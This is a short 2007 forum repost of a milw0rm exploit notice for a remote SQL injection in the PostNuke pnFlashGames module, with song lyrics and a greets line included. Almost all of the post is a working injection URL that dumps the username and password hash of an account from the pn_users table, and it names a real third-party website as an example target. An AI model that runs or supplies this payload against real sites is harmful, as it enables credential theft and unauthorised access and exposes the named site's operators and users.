kw3rln Posted April 28, 2007 Report Share Posted April 28, 2007 ============================================================PostNuke pnFlashGames Module v1.5 REmote SQL Injection ============================================================Bulan: xoronxoron.biz+Love's the funeral of heartsThe funeral of heartsAnd a plea for mercyWhen love is a gunSeparating me from you============================================================Exploit: index.php?module=pnFlashGames&func=view&cid=-1/**/union/**/select/**/0,pn_uname,2,pn_pass,4,5,6,7,8,9,10,11,12,13/**/from/**/pn_users/**/where/**/pn_uid=2/*============================================================Example: http://andersonvision.com/PostNuke/============================================================# milw0rm.com [2007-04-28] Quote Link to comment Share on other sites More sharing options...
